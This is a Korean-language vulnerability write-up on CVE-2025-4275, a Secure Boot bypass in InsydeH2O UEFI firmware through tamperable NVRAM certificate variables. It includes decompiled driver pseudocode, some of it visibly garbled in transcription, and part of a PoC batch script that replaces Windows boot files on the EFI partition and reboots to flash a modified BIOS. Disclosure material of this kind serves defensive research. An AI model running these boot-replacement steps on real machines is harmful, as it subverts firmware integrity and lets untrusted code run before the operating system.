[하루한줄] CVE-2025-4275: InsydeH2O의 NVRAM 변수를 통한 디지털 인증서 삽입으로 인한 Secure Boot bypass

URL

Target

  • InsydeH2O **Kernel 5.2~5.7

Explain

InsydeH2O UEFI 펌웨어 애플리케이션에서 Secure Boot bypass 취약점이 발생하였습니다. 이 취약점은 인증서 저장소로 사용되는 NVRAM 변수의 안전하지 않은 사용으로 인해 발생합니다.

UEFI는 초기 부팅 시, 최신 펌웨어 업데이트 여부를 결정하고, UEFI 애플리케이션과 드라이버가 시스템을 초기화하고 OS 로더로 넘어가는 과정을 거칩니다. 펌웨어 업데이트는 isflash.bin UEFI 애플리케이션이 사용되며, 애플리케이션의 서명은 Insyde 인증서로 서명되는 Secure Boot 매커니즘을 가지고 있습니다.

서명 검증 과정은 BdsDxe 드라이버는 펌웨어 외부에서 실행되어 펌웨어 업데이터의 서명 인증서를 읽고, SecurityStubDxe 드라이버에 전달하여 Authenticode 서명 검증을 수행합니다. 이 전달 과정에서 SecureFlashDxe 드라이버를 통해 인증서를 휘발성 NVRAM 변수에 로드 하도록 변수를 설정합니다.

_int64 LoadCertificateToVariable()
{
	UINTN v0; // rbx
	int64 v1; // rbx
	EFI_FIRMWARE_VOLUME2_PROTOCOL *Interface; // [rsp+40h] [rbp-28h] BYREF
	UINTN DataSize; // [rsp+48h] [rbp-20h] BYREF
	EFI_HANDLE *Buffer; // [rsp+50h] [rbp-18h] BYREF
	char v6; // [rsp+80h] [rbp+18h] BYREF
	UINT32 v7; // [rsp+88h] [rbp+20h] BYREF
	UINTN NoHandles; // [rsp+90h] [rbp+28h] BYREF
	void *Data; // [rsp+98h] [rbp+30h] BYREF
	Interface = 0;
	v7 = 0;
	if ((gBS->LocateHandleBuffer(ByProtocol, &EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID, 0, &NoHandles, &Buffer) & 0x8000000000000000uLL) == 0LL&& NoHandles )
	{
		v0 = 0;
		while ((gBS->HandleProtocol(Buffer [v0], &EFI_FIRMWARE_VOLUME2_PROTOCOL_GUID, (void **)&Interface) & 0x8000000000000000uLL) == 0LL)
		{
			Data = 0;
			DataSize = 0;
			if ((Interface->ReadSection (Interface, &SECURE_FLASH_FV_CERT_GUID, 0x19u, 0, &Data, &DataSize, &v7) & 0x8000000000000000uLL) != ØLL && ++v0 < NoHandles )
			{
				continue;
				if (v0 >= NoHandles )
					return EFI_NOT_FOUND;
				v1 = gRT->SetVariable((CHAR16 *)L"SecureFlashCertData", &SECURE_FLASH_INFO_GUID,VARIABLE_ATTRIBUTE_BS_RT,DataSize,Data);
				gBS->FreePool(Data);
				if (v1 >= 0)
				{
					v6 = 0;
					return gRT->SetVariable((CHAR16 *) L"SecureFlashSetupMode", &SECURE_FLASH_INFO_GUID, 6u, 1u, &v6);
				}
				return v1;
			}
	}
	return EFI_NOT_FOUND;
}

BdsDxe 드라이버에서는 NVRAM 변수인 SecureFlashSetupMode와 EFI_SIGNATURE_LIST 형식의 인증서가 포함된 SecureFlashCertData의 두 개의 변수를 설정합니다.

char_fastcall VerifyBySecureFlashSignature( _int64 a1, _int64 a2)
{
	char v5; // si
	_int64 Variable; // rax
	char *v7; // rbx
	_int64 v8; // rdi
	UINTN v9; // г8
	void *v10; // rcx
	UINT8 Sha256Hash; // rdx
	void *CryptoServices Protocol; // [rsp+30h] [rbp-10h] BYREF
	unsigned_int64 v13; // [rsp+38h] [rbp-8h] BYREF
	void *v14; // [rsp+80h] [rbp+40h] BYREF
	void *Buffer; // [rsp+88h] [rbp+48h] BYREF
	if ((gBS->LocateProtocol(&CRYPTO_SERVICES_PROTOCOL_GUID, 0, &CryptoServices Protocol) & 0x8000000000000000uLL) != ØLL)
		return 0;
	Buffer = 0;
	v14 = 0;
	v5 = 0;
	LibGetVariable(aSecureFlashSetupMode, &SECURE_FLASH_INFO_GUID, &v13, &v14);
	if (v14)
	{
		Variable LibGetVariable(aSecureFlashCertData, &SECURE_FLASH_INFO_GUID, &v13, &Buffer);
		v7= (char *)Buffer;
		if (Variable >= 0)
		{
			v8 = 0;
			if (v13 > 0x10)
			{
				v9 HashSize;
				v10: Buffer;
				do
				{
					if (*(_DWORD *)&v7 [v8 + 16] < 0x1Cu)
						break;
					v5 = (((_int64 (_fastcall **) (_int64, _int64, char *, _int64, _QWORD, UINTN)) CryptoServicesProtocol + 0x22)) (al,a2,&v7 [v8 + 44], *(unsigned int *) &v7 [v8 + 24] 16LL,*(_QWORD *)v10, ); // AuthenticodeVerify
					if (v5)
						break;
					v10 = Buffer;
					v9 = HashSize;
					Sha256Hash = (UINT8 *):: Buffer [1].Sha256Hash;
					if (HashSize && (UINT8 *):: Buffer->Sha256Hash != Sha256Hash )
					{
						if (sub_350((UINT8 *):: Buffer->Sha256Hash, Sha256Hash, HashSize))
						{
							v5 = (*((_int64 (_fastcall **) (_int64, _int64, char *, _int64, EFI_HASH_OUTPUT, UINTN)) CryptoServicesProtocol+ 0x22)) ( al, a2, &v7 [v8 + 44], *(unsigned int *)&v7 [v8 + 24] 16LL, :: Buffer [1], HashSize);  // AuthenticodeVerify
							if (v5)
								break;
						}
						v9 = HashSize;
						v10 = Buffer;
					}
					v8 += (unsigned int *)&v7 [v8 +16];
				}
				while (v8+ 28 < v13);
			}
		}
		if (v7)
			gBS->FreePool(v7);
		gBS->FreePool(v14);
	}
	return v5;
}

SecurityStubDxe 드라이버는 SecureFlashSetupModeSecureFlashCertData 두 변수 값이 모두 존재하는 경우, 라이브러리 함수를 통해 읽습니다.

여기서 SecureFlashSetupModeSecureFlashCertData 이 두 NVRAM 변수는 보호되지 않기에 런타임 중에 변조할 수 있습니다. 변조한 두 변수를 SecurityStubDxe 드라이버에 전달하면, BdsDxe 드라이버가 생성한 것으로 속일 수 있습니다. 이후에 오는 모든 항목은 추가적인 검증 없이 모두 신뢰하기 때문에, isflash.bin의 Secure Boot 과정 및 Insyde 서명 확인을 모두 우회할 수 있습니다.

PoC의 일부인 sfpoc.cmd는 아래와 같습니다.

sfcd set
mountvol U: /s
mkdir U:\\EFI\\Insyde
copy isflash.bin U:\\EFI\\Insyde\\
move U:\\EFI\Boot\\bootx64.efi U:\\EFI\\Boot\\bootx64.efi.org
move U:\\EFI\Microsoft\\Boot\\bootmgfw.efi U:\\EFI\Microsoft\\Boot\\bootmgfw.efi.org
copy isflash.bin U:\\EFI\Boot\\bootx64.efi
copy isflash.bin U:\\EFI\Microsoft\\Boot\\bootmgfw.efi
copy bios.bin U:\\
copy fpt_signed.efi U:\\
copy sfpoc_signed.efi U:\\
copy startup_2.nsh U:\\
copy startup_1.nsh U:\\startup.nsh
dir U:
pause
mountvol U: /d
shutdown /r /t 0

변조한 각 .efi 파일들을 모두 빌드하고 서명한 이후에 Windows에서 관리자 권한으로 위 sfpoc.cmd를 실행하면, 재부팅 이후에 수정된 BIOS 이미지를 확인할 수 있습니다.

이처럼 공격자는 이 변수를 통해 자신의 인증서를 저장한 후, UEFI 환경의 초기 부팅 과정에서 삽입된 인증서로 서명된 임의의 .efi 펌웨어를 실행할 수 있습니다.

아래 영상으로 PoC 시연을 확인할 수 있습니다.

이 취약점은 Insyde에 보고되었으며, 공개 후 90일 만에 패치 되었습니다.

Reference